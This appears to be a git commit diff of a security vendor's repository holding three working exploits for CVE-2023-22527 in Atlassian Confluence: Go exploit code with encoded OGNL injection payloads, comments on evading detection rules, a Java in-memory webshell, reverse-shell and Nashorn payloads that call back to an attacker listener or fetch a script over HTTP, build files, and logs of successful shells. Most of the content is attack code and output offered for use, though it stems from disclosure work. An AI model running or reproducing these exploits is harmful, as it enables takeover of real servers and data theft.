Initial commit

This commit is contained in:
Jacob Baines
2024-03-05 11:57:38 -05:00
parent 659af46032
commit cb6d691939
22 changed files with 1140 additions and 4 deletions
+2 -2
View File
@@ -186,8 +186,8 @@
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Copyright 2024 VulnCheck
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
+29 -2
View File
@@ -1,2 +1,29 @@
# cve-2023-22527
Three examples of using CVE-2023-22527 to execute arbitrary code in memory
# Executing Arbitrary Code In Confluence Memory
[CVE-2023-22527](https://nvd.nist.gov/vuln/detail/CVE-2023-22527) is a widely known vulnerability affecting Atlassian Confluence. Most exploits for this vulnerability use `freemarker.template.utility.Execute()` to execute an operating system command, but they can do so much better. In this repository you'll find three [go-exploit](https://github.com/vulncheck-oss/go-exploit) implementations of CVE-2023-22527 that execute their payload without touching disk (at least until the user directs them to).
You will find the exploits in the following subdirectories
* webshell: loads a webshell into memory
* reverseshell: loads a reverse shell into memory
* nashorn: loads a Nashorn JavaScript reverse shell into memory (only affects Atlassian Confluence using Java below version 15)
## Compiling
All the repositories come with a dockerfile. To build it simply:
```
make docker
```
If you have a Go (and Java) build environment handy, you can also just use `make`:
```
albinolobster@mournland:~/cve-2023-22527/webshell$ make
gofmt -d -w cve-2023-22527.go
golangci-lint run --fix cve-2023-22527.go
javac ABCDEFG.java -classpath ./lib/servlet-api.jar
Note: ABCDEFG.java uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
GOOS=linux GOARCH=arm64 go build -o build/cve-2023-22527_linux-arm64 cve-2023-22527.go
```
+24
View File
@@ -0,0 +1,24 @@
FROM golang:latest
LABEL author="VulnCheck"
LABEL website="https://vulncheck.com"
# build the binary in a subdirectory
WORKDIR /vulncheck
# add all Go files
COPY *.go ./
# add go.sum and go.mod
COPY go.* ./
# add the Makefile
COPY Makefile .
# change working directory and compile
RUN make compile
# mv the compiled binary to a generic name because our generic makefile appends arch info
RUN mv ./build/* ./exploit
# exec <3
ENTRYPOINT ["/vulncheck/exploit"]
+82
View File
@@ -0,0 +1,82 @@
# Don't touch this variable
export GO111MODULE := on
# HACK: "Detect" exploit and payload filenames
exploit_files := $(wildcard cve-*.go)
payload_files := $(wildcard *_shell.go)
# Don't touch these variables
exploit_os := $(shell go env GOOS)
exploit_arch := $(shell go env GOARCH)
# NOTE: Don't forget to update these variables
payload_oses := #windows
payload_archs := #amd64
# Output directory for binaries
output_dir := build
# Don't touch this definition
define newline
endef
ifndef exploit_files
$(error You haven't written any exploit code)
endif
all: format lint compile
format:
gofmt -d -w $(exploit_files) $(payload_files)
lint:
$(foreach file,$(exploit_files),golangci-lint run --fix $(file)$(newline))
ifneq ($(payload_files),)
$(foreach file,$(payload_files),golangci-lint run --fix $(file)$(newline))
endif
compile: exploit payload extra
exploit: ext = $(if $(findstring windows,$(exploit_os)),.exe)
exploit:
$(foreach file,$(exploit_files),\
$(eval out := $(output_dir)/$(file:.go=)_$(exploit_os)-$(exploit_arch)$(ext))\
GOOS=$(exploit_os) GOARCH=$(exploit_arch) go build -o $(out) $(file)$(newline))
# Change this value if you need to
payload: export GOARM := 7
payload:
ifneq ($(payload_files),)
$(foreach file,$(payload_files),\
$(foreach os,$(payload_oses),\
$(foreach arch,$(payload_archs),\
$(eval ext := $(if $(findstring windows,$(os)),.exe))\
$(eval out := $(output_dir)/$(file:.go=)_$(os)-$(arch)$(ext))\
GOOS=$(os) GOARCH=$(arch) go build -ldflags "-s -w" -o $(out) $(file)$(newline))))
endif
# Add extra stuff to this recipe
extra:
clean:
@rm -rfv $(output_dir)
docker:
@docker build --network=host -t $(notdir $(CURDIR)) .
# make darwin-amd64|darwin-arm64|...
darwin-%:
# HACK: Reinvoke make to pass in vars
@$(MAKE) --no-print-directory exploit_os=darwin exploit_arch=$*
# make linux-amd64|linux-arm64|...
linux-%:
# HACK: Reinvoke make to pass in vars
@$(MAKE) --no-print-directory exploit_os=linux exploit_arch=$*
# make windows-amd64|windows-arm64|...
windows-%:
# HACK: Reinvoke make to pass in vars
@$(MAKE) --no-print-directory exploit_os=windows exploit_arch=$*
+40
View File
@@ -0,0 +1,40 @@
# In Memory Confluence Nashorn Reverse Shell
This will establish our Nashorn reverse shell on a Confluence target (if Confluence is using a Java version below 15). This exploit uses the Nashorn 'load' keyword to fetch the go-exploit Nashorn script via HTTP (to bypass the OGNL expression size limit). In a real world attack, this script could be stored on GitHub or similar hosting to avoid having to host the payload yourself.
## Compiling
To build a docker image:
```
make docker
```
If you have a Go build environment handy, you can also just use `make`:
```
albinolobster@mournland:~/cve-2023-22527/reverseshell$ make
gofmt -d -w cve-2023-22527.go
golangci-lint run --fix cve-2023-22527.go
GOOS=linux GOARCH=arm64 go build -o build/cve-2023-22527_linux-arm64 cve-2023-22527.go
```
## Usage Example (Encrypted Reverse Shell)
```sh
^Calbinolobster@mournland:~/cve-2023-22527/nashorn$ sudo docker run -it --network=host nashorn -a -v -c -e -rhost 10.9.49.88 -rport 8090 -lhost 10.9.49.75 -lport 1270 -httpAddr 10.9.49.75
time=2024-03-05T16:54:28.674Z level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
time=2024-03-05T16:54:28.746Z level=STATUS msg="Starting TLS listener on 10.9.49.75:1270"
time=2024-03-05T16:54:28.746Z level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8090 ssl=false "ssl auto"=true
time=2024-03-05T16:54:28.893Z level=STATUS msg="Validating Confluence target" host=10.9.49.88 port=8090
time=2024-03-05T16:54:29.095Z level=SUCCESS msg="Target verification succeeded!" host=10.9.49.88 port=8090 verified=true
time=2024-03-05T16:54:29.095Z level=STATUS msg="Running a version check on the remote target" host=10.9.49.88 port=8090
time=2024-03-05T16:54:29.213Z level=VERSION msg="The self-reported version is: 8.5.3" host=10.9.49.88 port=8090 version=8.5.3
time=2024-03-05T16:54:29.213Z level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.88 port=8090 vulnerable=yes
time=2024-03-05T16:54:29.213Z level=STATUS msg="HTTP server listening for 10.9.49.75:8080/OjvuCSACUpwc"
time=2024-03-05T16:54:31.214Z level=STATUS msg="Sending exploit to http://10.9.49.88:8090/template/aui/text-inline.vm"
time=2024-03-05T16:54:31.969Z level=STATUS msg="Sending payload"
time=2024-03-05T16:54:33.429Z level=SUCCESS msg="Caught new shell from 10.9.49.88:38856"
time=2024-03-05T16:54:33.429Z level=STATUS msg="Active shell from 10.9.49.88:38856"
id
uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)
```
+160
View File
@@ -0,0 +1,160 @@
package main
import (
"flag"
"net/http"
"regexp"
"strconv"
"strings"
"time"
"github.com/vulncheck-oss/go-exploit"
"github.com/vulncheck-oss/go-exploit/c2"
"github.com/vulncheck-oss/go-exploit/config"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/payload"
"github.com/vulncheck-oss/go-exploit/protocol"
"github.com/vulncheck-oss/go-exploit/random"
)
var (
globalHTTPAddr string
globalHTTPPort int
)
type ConfluenceOGNLExploit struct{}
func (sploit ConfluenceOGNLExploit) ValidateTarget(conf *config.Config) bool {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, body, ok := protocol.HTTPSendAndRecv("GET", url, "")
if !ok {
return false
}
if resp.StatusCode != 200 {
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
return false
}
_, ok = resp.Header["X-Confluence-Request-Time"]
if !ok {
return false
}
_, ok = resp.Header["Set-Cookie"]
if !ok {
return false
}
return strings.Contains(body, "confluence-context-path")
}
func (sploit ConfluenceOGNLExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, bodyString, ok := protocol.HTTPSendAndRecv("GET", url, "")
if !ok {
return exploit.Unknown
}
if resp.StatusCode != 200 {
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
return exploit.Unknown
}
if !strings.Contains(bodyString, "Atlassian Confluence") {
output.PrintError("The HTTP response did not contain the expected Atlassian branding.")
return exploit.Unknown
}
re := regexp.MustCompile("<span id='footer-build-information'>([0-9a-zA-Z.]+)</span>")
res := re.FindAllStringSubmatch(bodyString, -1)
if len(res) == 0 {
output.PrintError("Failed to extract the footer build information")
return exploit.Unknown
}
version := res[0][1]
output.PrintVersion("The self-reported version is: "+version, conf.Rhost, conf.Rport, version)
versionArray := strings.Split(version, ".")
if len(versionArray) != 3 {
output.PrintfError("Unexpected version number")
return exploit.Unknown
}
major, _ := strconv.Atoi(versionArray[0])
minor, _ := strconv.Atoi(versionArray[1])
point, _ := strconv.Atoi(versionArray[2])
if major != 8 {
return exploit.NotVulnerable
}
switch {
case minor < 5:
return exploit.Vulnerable
case minor == 5 && point <= 3:
return exploit.Vulnerable
default:
}
return exploit.NotVulnerable
}
func httpServerStart() {
_ = http.ListenAndServe(globalHTTPAddr+":"+strconv.Itoa(globalHTTPPort), nil)
}
func (sploit ConfluenceOGNLExploit) RunExploit(conf *config.Config) bool {
if len(globalHTTPAddr) == 0 {
output.PrintError("The user must specify an address to bind the HTTP server to. Quitting.")
return false
}
// spin up and HTTP server to serve the Nashorn payload
endpoint := "/" + random.RandLetters(12)
http.HandleFunc(endpoint, func(w http.ResponseWriter, r *http.Request) {
output.PrintStatus("Sending payload")
_, _ = w.Write([]byte(payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, conf.C2Type == c2.SSLShellServer)))
})
output.PrintfStatus("HTTP server listening for %s:%d%s", globalHTTPAddr, globalHTTPPort, endpoint)
go httpServerStart()
time.Sleep(2 * time.Second)
// throw the exploit. encoding {} bypasses ET, same with KEY_velocity
unused := random.RandLetters(5)
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
params := map[string]string{
"label": "=" + unused + `\u0027%2b#request\u005b\u0027.K%45Y_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,%7B%7D)%2b\u0027&x=(new javax.script.ScriptEngineManager().getEngineByName('js').eval('load("` + protocol.GenerateURL(globalHTTPAddr, globalHTTPPort, false, endpoint) + `")'))`,
}
output.PrintfStatus("Sending exploit to %s", url)
_, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", url, params)
if ok {
// we expect a context timeout, and ok to be false
output.PrintError("Successful exploitation should trigger a timeout. It's likely the exploit failed.")
return false
}
// Give the exploit a little to fetch the payload
time.Sleep(10 * time.Second)
return true
}
func main() {
flag.StringVar(&globalHTTPAddr, "httpAddr", "", "The address the HTTP server should bind to")
flag.IntVar(&globalHTTPPort, "httpPort", 8080, "The port the HTTP server should bind to")
supportedC2 := []c2.Impl{
c2.SSLShellServer,
c2.SimpleShellServer,
}
conf := config.New(config.CodeExecution, supportedC2, "Confluence", "CVE-2023-22527", 8090)
sploit := ConfluenceOGNLExploit{}
exploit.RunProgram(sploit, conf)
}
+10
View File
@@ -0,0 +1,10 @@
module github.com/vulncheck-oss/cve-2023-22527/nashorn
go 1.21.4
require github.com/vulncheck-oss/go-exploit v1.9.4
require (
golang.org/x/net v0.22.0 // indirect
golang.org/x/text v0.14.0 // indirect
)
+6
View File
@@ -0,0 +1,6 @@
github.com/vulncheck-oss/go-exploit v1.9.4 h1:7A6pjIzpcrvDxhl2GLUjvzsukh7S4Q0Nzdfgs9fa3zk=
github.com/vulncheck-oss/go-exploit v1.9.4/go.mod h1:3tBvv+z3jSbcdauhc/3EhoOmqPxwtR+E4wMkLSy4mg4=
golang.org/x/net v0.22.0 h1:9sGLhx7iRIHEiX0oAJ3MRZMUCElJgy7Br1nO+AMN3Tc=
golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg=
golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
+24
View File
@@ -0,0 +1,24 @@
FROM golang:latest
LABEL author="VulnCheck"
LABEL website="https://vulncheck.com"
# build the binary in a subdirectory
WORKDIR /vulncheck
# add all Go files
COPY *.go ./
# add go.sum and go.mod
COPY go.* ./
# add the Makefile
COPY Makefile .
# change working directory and compile
RUN make compile
# mv the compiled binary to a generic name because our generic makefile appends arch info
RUN mv ./build/* ./exploit
# exec <3
ENTRYPOINT ["/vulncheck/exploit"]
+82
View File
@@ -0,0 +1,82 @@
# Don't touch this variable
export GO111MODULE := on
# HACK: "Detect" exploit and payload filenames
exploit_files := $(wildcard cve-*.go)
payload_files := $(wildcard *_shell.go)
# Don't touch these variables
exploit_os := $(shell go env GOOS)
exploit_arch := $(shell go env GOARCH)
# NOTE: Don't forget to update these variables
payload_oses := #windows
payload_archs := #amd64
# Output directory for binaries
output_dir := build
# Don't touch this definition
define newline
endef
ifndef exploit_files
$(error You haven't written any exploit code)
endif
all: format lint compile
format:
gofmt -d -w $(exploit_files) $(payload_files)
lint:
$(foreach file,$(exploit_files),golangci-lint run --fix $(file)$(newline))
ifneq ($(payload_files),)
$(foreach file,$(payload_files),golangci-lint run --fix $(file)$(newline))
endif
compile: exploit payload extra
exploit: ext = $(if $(findstring windows,$(exploit_os)),.exe)
exploit:
$(foreach file,$(exploit_files),\
$(eval out := $(output_dir)/$(file:.go=)_$(exploit_os)-$(exploit_arch)$(ext))\
GOOS=$(exploit_os) GOARCH=$(exploit_arch) go build -o $(out) $(file)$(newline))
# Change this value if you need to
payload: export GOARM := 7
payload:
ifneq ($(payload_files),)
$(foreach file,$(payload_files),\
$(foreach os,$(payload_oses),\
$(foreach arch,$(payload_archs),\
$(eval ext := $(if $(findstring windows,$(os)),.exe))\
$(eval out := $(output_dir)/$(file:.go=)_$(os)-$(arch)$(ext))\
GOOS=$(os) GOARCH=$(arch) go build -ldflags "-s -w" -o $(out) $(file)$(newline))))
endif
# Add extra stuff to this recipe
extra:
clean:
@rm -rfv $(output_dir)
docker:
@docker build --network=host -t $(notdir $(CURDIR)) .
# make darwin-amd64|darwin-arm64|...
darwin-%:
# HACK: Reinvoke make to pass in vars
@$(MAKE) --no-print-directory exploit_os=darwin exploit_arch=$*
# make linux-amd64|linux-arm64|...
linux-%:
# HACK: Reinvoke make to pass in vars
@$(MAKE) --no-print-directory exploit_os=linux exploit_arch=$*
# make windows-amd64|windows-arm64|...
windows-%:
# HACK: Reinvoke make to pass in vars
@$(MAKE) --no-print-directory exploit_os=windows exploit_arch=$*
+44
View File
@@ -0,0 +1,44 @@
# In Memory Confluence Reverse Shell
This exploit will load a reverse shell into Confluence's memory. The reverse shell originates from a binary blob in [go-exploit](https://github.com/vulncheck-oss/go-exploit/blob/52ad509980b3f5d6400236d0594011a579112a51/java/javaclass.go#L33).
## Compiling
To build a docker image:
```
make docker
```
If you have a Go build environment handy, you can also just use `make`:
```
albinolobster@mournland:~/cve-2023-22527/reverseshell$ make
gofmt -d -w cve-2023-22527.go
golangci-lint run --fix cve-2023-22527.go
GOOS=linux GOARCH=arm64 go build -o build/cve-2023-22527_linux-arm64 cve-2023-22527.go
```
## Usage Example
```
albinolobster@mournland:~/cve-2023-22527/reverseshell$ sudo docker run -it --network=host reverseshell -a -v -c -e -rhost 10.9.49.76 -rport 8090 -lhost 10.9.49.75 -lport 1270
time=2024-03-05T16:42:45.895Z level=STATUS msg="Starting listener on 10.9.49.75:1270"
time=2024-03-05T16:42:45.895Z level=STATUS msg="Starting target" index=0 host=10.9.49.76 port=8090 ssl=false "ssl auto"=true
time=2024-03-05T16:42:45.906Z level=STATUS msg="Validating Confluence target" host=10.9.49.76 port=8090
time=2024-03-05T16:42:46.160Z level=SUCCESS msg="Target verification succeeded!" host=10.9.49.76 port=8090 verified=true
time=2024-03-05T16:42:46.160Z level=STATUS msg="Running a version check on the remote target" host=10.9.49.76 port=8090
time=2024-03-05T16:42:46.352Z level=VERSION msg="The self-reported version is: 8.5.3" host=10.9.49.76 port=8090 version=8.5.3
time=2024-03-05T16:42:46.352Z level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.76 port=8090 vulnerable=yes
time=2024-03-05T16:42:46.352Z level=STATUS msg="Sending OGNL expression size limit adjustment to http://10.9.49.76:8090/template/aui/text-inline.vm"
time=2024-03-05T16:42:46.587Z level=STATUS msg="Sending class CiXyUHob to http://10.9.49.76:8090/template/aui/text-inline.vm"
time=2024-03-05T16:42:46.624Z level=SUCCESS msg="Caught new shell from 10.9.49.76:51465"
time=2024-03-05T16:42:46.624Z level=STATUS msg="Active shell from 10.9.49.76:51465"
Microsoft Windows [Version 10.0.22000.2538]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\Atlassian\Confluence>
C:\Program Files\Atlassian\Confluence>whoami
whoami
nt authority\network service
```
+167
View File
@@ -0,0 +1,167 @@
package main
import (
b64 "encoding/base64"
"regexp"
"strconv"
"strings"
"github.com/vulncheck-oss/go-exploit"
"github.com/vulncheck-oss/go-exploit/c2"
"github.com/vulncheck-oss/go-exploit/config"
"github.com/vulncheck-oss/go-exploit/java"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/protocol"
"github.com/vulncheck-oss/go-exploit/random"
"github.com/vulncheck-oss/go-exploit/transform"
)
type ConfluenceOGNLExploit struct{}
func (sploit ConfluenceOGNLExploit) ValidateTarget(conf *config.Config) bool {
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, body, ok := protocol.HTTPSendAndRecv("GET", uri, "")
if !ok {
return false
}
if resp.StatusCode != 200 {
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
return false
}
_, ok = resp.Header["X-Confluence-Request-Time"]
if !ok {
return false
}
_, ok = resp.Header["Set-Cookie"]
if !ok {
return false
}
return strings.Contains(body, "confluence-context-path")
}
func (sploit ConfluenceOGNLExploit) CheckVersion(conf *config.Config) exploit.VersionCheckType {
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, bodyString, ok := protocol.HTTPSendAndRecv("GET", uri, "")
if !ok {
return exploit.Unknown
}
if resp.StatusCode != 200 {
output.PrintfError("Received an unexpected HTTP status code: %d", resp.StatusCode)
return exploit.Unknown
}
re := regexp.MustCompile(`<span id='footer-build-information'>(\d+\.\d+.\d+)</span>`)
res := re.FindAllStringSubmatch(bodyString, -1)
if len(res) == 0 {
output.PrintError("Failed to extract the footer build information")
return exploit.Unknown
}
version := res[0][1]
output.PrintVersion("The self-reported version is: "+version, conf.Rhost, conf.Rport, version)
versionArray := strings.Split(version, ".")
if len(versionArray) != 3 {
output.PrintfError("Unexpected version number")
return exploit.Unknown
}
major, _ := strconv.Atoi(versionArray[0])
minor, _ := strconv.Atoi(versionArray[1])
point, _ := strconv.Atoi(versionArray[2])
if major != 8 {
return exploit.NotVulnerable
}
switch {
case minor < 5:
return exploit.Vulnerable
case minor == 5 && point <= 3:
return exploit.Vulnerable
default:
}
return exploit.NotVulnerable
}
// Send a request that encresses the max OGNL size so that we can send our payload.
func adjustExpressLength(conf *config.Config) bool {
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
output.PrintfStatus("Sending OGNL expression size limit adjustment to %s", uri)
// in an attempt to be sneaky, randomize the start of label and used a randomly generated param
unused := random.RandLetters(12)
param := random.RandLetters(3)
// URL encoding everything bypasses ET rules
params := map[string]string{
`label`: transform.URLEncodeString(unused + `\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.` +
param + `,{})+\u0027`),
param: transform.URLEncodeString(`@ognl.Ognl@applyExpressionMaxLength(100000)`),
}
resp, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", uri, params)
if !ok {
return false
}
if resp.StatusCode != 200 {
output.PrintError("Unexpected HTTP status %d", resp.StatusCode)
return false
}
return true
}
func sendShell(conf *config.Config) bool {
// generate the class that Confluence will execute in memory
reverseShell, className := java.ReverseShellBytecode(conf)
encodedShell := b64.StdEncoding.EncodeToString([]byte(reverseShell))
// in an attempt to be sneaky, randomize the start of label and used a randomly generated param
unused := random.RandLetters(12)
param := random.RandLetters(3)
uri := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/template/aui/text-inline.vm")
output.PrintfStatus("Sending class %s to %s", className, uri)
params := map[string]string{
param: transform.URLEncodeString("(@org.springframework.cglib.core.ReflectUtils@defineClass('" + className +
"',@org.springframework.util.Base64Utils@decodeFromString('" + encodedShell +
"'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()"),
`label`: transform.URLEncodeString(unused + `\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.` +
param + `,{})+\u0027`),
}
_, _, ok := protocol.HTTPSendAndRecvURLEncoded("POST", uri, params)
if !ok {
return true
}
output.PrintError("Successful exploitation should trigger a timeout as the reverse shell holds the connection open")
return false
}
func (sploit ConfluenceOGNLExploit) RunExploit(conf *config.Config) bool {
if !adjustExpressLength(conf) {
return false
}
return sendShell(conf)
}
func main() {
supportedC2 := []c2.Impl{
c2.SimpleShellServer,
}
conf := config.New(config.CodeExecution, supportedC2, "Confluence", "CVE-2023-22527", 8090)
sploit := ConfluenceOGNLExploit{}
exploit.RunProgram(sploit, conf)
}
+10
View File
@@ -0,0 +1,10 @@
module github.com/vulncheck-oss/cve-2023-22527/reverseshell
go 1.21.4
require github.com/vulncheck-oss/go-exploit v1.9.4
require (
golang.org/x/net v0.22.0 // indirect
golang.org/x/text v0.14.0 // indirect
)
+6
View File
@@ -0,0 +1,6 @@
github.com/vulncheck-oss/go-exploit v1.9.4 h1:7A6pjIzpcrvDxhl2GLUjvzsukh7S4Q0Nzdfgs9fa3zk=
github.com/vulncheck-oss/go-exploit v1.9.4/go.mod h1:3tBvv+z3jSbcdauhc/3EhoOmqPxwtR+E4wMkLSy4mg4=
golang.org/x/net v0.22.0 h1:9sGLhx7iRIHEiX0oAJ3MRZMUCElJgy7Br1nO+AMN3Tc=
golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg=
golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
+72
View File
@@ -0,0 +1,72 @@
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.io.PrintWriter;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.DataInputStream;
import javax.servlet.*;
// Original code was taken from: https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHELL/blob/main/src/main/ConfluenceFilterMemshell.java
// But adapted to be a generic webshell and look more like https://medium.com/@m01e/jsp-webshell-cookbook-part-3-f2a96f3b81ad
//
// This code depends on servlet-api.jar (Tomcat 9.0) for javax
public class ABCDEFG implements ServletRequestListener {
public ABCDEFG(ServletContext context) {
try {
addListener(this, getFieldValue(getFieldValue(context,"context"), "context"));
} catch (Throwable e) {
}
}
private void addListener(Object listener, Object standardContext) throws Exception {
Method addApplicationEventListenerMethod = standardContext.getClass().getDeclaredMethod("addApplicationEventListener", Object.class);
addApplicationEventListenerMethod.setAccessible(true);
addApplicationEventListenerMethod.invoke(standardContext, listener);
}
@Override
public void requestInitialized(ServletRequestEvent sret) {
try {
ServletRequest request = sret.getServletRequest();
String cmd = request.getParameter("AAAAAAAAAAAA");
if (cmd != null) {
ServletResponse response = (ServletResponse)getFieldValue(getFieldValue(request, "request"), "response");
PrintWriter printWriter = response.getWriter();
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream( in );
String disr = dis.readLine();
while (disr != null) {
printWriter.write(disr);
disr = dis.readLine();
}
printWriter.flush();
printWriter.close();
}
}
catch (Exception e) {
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field) obj;
} else {
Method method = null;
Class cs = obj.getClass();
while (cs != null) {
try {
f = cs.getDeclaredField(fieldName);
cs = null;
} catch (Exception e) {
cs = cs.getSuperclass();
}
}
}
f.setAccessible(true);
return f.get(obj);
}
}
+35
View File
@@ -0,0 +1,35 @@
FROM golang:latest
LABEL author="VulnCheck"
LABEL website="https://vulncheck.com"
# Install java in the container. I think ideally this would be 8 but Debian removed old versions (probably correctly)
RUN apt-get update && \
apt-get -y install \
openjdk-17-jdk
# build the binary in a subdirectory
WORKDIR /vulncheck
# add all Go files
COPY *.go ./
# add go.sum and go.mod
COPY go.* ./
# add java file to compile
COPY *.java ./
# add java libs
COPY ./lib/* ./lib/
# add the Makefile
COPY Makefile .
# change working directory and compile
RUN make compile
# mv the compiled binary to a generic name because our generic makefile appends arch info
RUN mv ./build/* ./exploit
# exec <3
ENTRYPOINT ["/vulncheck/exploit"]
+85
View File
@@ -0,0 +1,85 @@
# Don't touch this variable
export GO111MODULE := on
# HACK: "Detect" exploit and payload filenames
exploit_files := $(wildcard cve-*.go)
payload_files := $(wildcard *_shell.go)
# Don't touch these variables
exploit_os := $(shell go env GOOS)
exploit_arch := $(shell go env GOARCH)
# NOTE: Don't forget to update these variables
payload_oses := #windows
payload_archs := #amd64
# Output directory for binaries
output_dir := build
# Don't touch this definition
define newline
endef
ifndef exploit_files
$(error You haven't written any exploit code)
endif
all: format lint compile
format:
gofmt -d -w $(exploit_files) $(payload_files)
lint:
$(foreach file,$(exploit_files),golangci-lint run --fix $(file)$(newline))
ifneq ($(payload_files),)
$(foreach file,$(payload_files),golangci-lint run --fix $(file)$(newline))
endif
compile: java exploit payload extra
java:
javac ABCDEFG.java -classpath ./lib/servlet-api.jar
exploit: ext = $(if $(findstring windows,$(exploit_os)),.exe)
exploit:
$(foreach file,$(exploit_files),\
$(eval out := $(output_dir)/$(file:.go=)_$(exploit_os)-$(exploit_arch)$(ext))\
GOOS=$(exploit_os) GOARCH=$(exploit_arch) go build -o $(out) $(file)$(newline))
# Change this value if you need to
payload: export GOARM := 7
payload:
ifneq ($(payload_files),)
$(foreach file,$(payload_files),\
$(foreach os,$(payload_oses),\
$(foreach arch,$(payload_archs),\
$(eval ext := $(if $(findstring windows,$(os)),.exe))\
$(eval out := $(output_dir)/$(file:.go=)_$(os)-$(arch)$(ext))\
GOOS=$(os) GOARCH=$(arch) go build -ldflags "-s -w" -o $(out) $(file)$(newline))))
endif
# Add extra stuff to this recipe
extra:
clean:
@rm -rfv $(output_dir) ./*.class
docker:
@docker build --network=host -t $(notdir $(CURDIR)) .
# make darwin-amd64|darwin-arm64|...
darwin-%:
# HACK: Reinvoke make to pass in vars
@$(MAKE) --no-print-directory exploit_os=darwin exploit_arch=$*
# make linux-amd64|linux-arm64|...
linux-%:
# HACK: Reinvoke make to pass in vars
@$(MAKE) --no-print-directory exploit_os=linux exploit_arch=$*
# make windows-amd64|windows-arm64|...
windows-%:
# HACK: Reinvoke make to pass in vars
@$(MAKE) --no-print-directory exploit_os=windows exploit_arch=$*
+48
View File
@@ -0,0 +1,48 @@
# In Memory Confluence Webshell
This exploit will load a webshell into Confluence's memory. The webshell is implemented in `ABCDEFG.java` although a random name will be assigned to it at exploitation time. After exploitation, the attacker can execute arbitrary programs via `curl`.
## Compiling
To build a docker image:
```
make docker
```
If you have a Go and Java build environment handy, you can also just use `make`:
```
albinolobster@mournland:~/cve-2023-22527/webshell$ make
gofmt -d -w cve-2023-22527.go
golangci-lint run --fix cve-2023-22527.go
javac ABCDEFG.java -classpath ./lib/servlet-api.jar
Note: ABCDEFG.java uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
GOOS=linux GOARCH=arm64 go build -o build/cve-2023-22527_linux-arm64 cve-2023-22527.go
```
## Usage Example
Add the webshell:
```
albinolobster@mournland:~/cve-2023-22527/webshell$ sudo docker run -it --network=host webshell -a -v -c -e -rhost 10.9.49.76 -rport 8090
time=2024-03-05T16:34:21.251Z level=STATUS msg="Starting target" index=0 host=10.9.49.76 port=8090 ssl=false "ssl auto"=true
time=2024-03-05T16:34:21.390Z level=STATUS msg="Validating Confluence target" host=10.9.49.76 port=8090
time=2024-03-05T16:34:23.094Z level=SUCCESS msg="Target verification succeeded!" host=10.9.49.76 port=8090 verified=true
time=2024-03-05T16:34:23.094Z level=STATUS msg="Running a version check on the remote target" host=10.9.49.76 port=8090
time=2024-03-05T16:34:23.334Z level=VERSION msg="The self-reported version is: 8.5.3" host=10.9.49.76 port=8090 version=8.5.3
time=2024-03-05T16:34:23.334Z level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.76 port=8090 vulnerable=yes
time=2024-03-05T16:34:23.334Z level=STATUS msg="Sending OGNL expression size limit adjustment to http://10.9.49.76:8090/template/aui/text-inline.vm"
time=2024-03-05T16:34:23.520Z level=STATUS msg="Sending class VbbsGkzxox to http://10.9.49.76:8090/template/aui/text-inline.vm"
time=2024-03-05T16:34:23.720Z level=SUCCESS msg="In memory webshell available using VicodMajitk param"
time=2024-03-05T16:34:23.720Z level=SUCCESS msg="Example usage: curl -kv http://10.9.49.76:8090/?VicodMajitk=whoami"
time=2024-03-05T16:34:23.720Z level=SUCCESS msg="Exploit successfully completed" exploited=true
```
Use the webshell:
```
